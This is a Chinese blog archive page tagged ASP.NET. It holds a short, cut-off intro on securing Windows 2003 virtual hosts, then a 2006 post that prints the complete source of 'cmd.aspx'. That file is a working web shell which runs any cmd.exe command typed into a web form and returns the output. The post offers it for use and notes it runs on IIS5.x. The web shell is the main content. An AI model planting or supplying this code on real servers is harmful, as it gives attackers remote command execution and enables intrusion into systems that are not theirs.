存档

文章标签 ‘ASP.NET’

ASP.NET+Win2003虚拟主机安全设置

2010年1月27日 没有评论 102 views

我们举例详细说明在运行ASP.NET的 windows 2003虚拟主机上,对于多个ASP.NET站点的安全配置;
在这里,我们的站点目录放在D盘的www文件夹,假设现在有一个名叫fesend的虚拟主机用户,我们在www文件夹下建立 fesend 的文件夹来存放此用户的站点数据

其中要用到以下组及帐号:
IIS_WPG 组(也称为 IIS 工作进程组,IIS Worker Process Group)
Guests组 (来宾组,在系统中拥有最少的权限)

Internet 来宾帐户 (匿名访问 Internet 信息服务的内置帐户)
启动 IIS 进程帐户 (用于启动进程外应用程序的 Internet 信息服务的内置帐户)
阅读全文...

cmd.aspx

2006年9月21日 没有评论 1,159 views

信息来源:http://s0n9.blog.sohu.com/

<%@ Page Language="VB" Debug="true" %>
<%@ Import Namespace="system.IO" %>
<script runat="server">
sub runcmd(Src As Object, E As EventArgs)
dim but as string
dim tempfile as string=server.MapPath(".") & "\" & "test.txt"
shell("cmd.exe /c " & cmd.text & " > " & tempfile,,true,20000)
dim myread as new streamreader(tempfile,encoding.default)
but=replace(myread.readtoend,vbcrlf,"<br>")
but=replace(but," "," ")
result.text=but
myread.close
file.exists(tempfile)
file.delete(tempfile)
cmd.text=""
end sub
</script>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>ASP.NET Shell V1.0 By fineacer</title>
</head>
<body>
<form runat="server">
<asp:TextBox ID="cmd" runat="server" />
<asp:Button ID="Button" runat="server" Text="Run" OnClick="runcmd" />
<p><asp:Label ID="result" runat="server" /></p>
</form>
</body>
</html>

ASP.NET环境下执行cmd命令的程序,相当于cmd.asp不过这个需要asp.net环境,由于IIS6的机制,本程序不能在IIS6运行,不过可以很好的支持IIS5.x + .net framework.

分类: 技术文章 标签: ,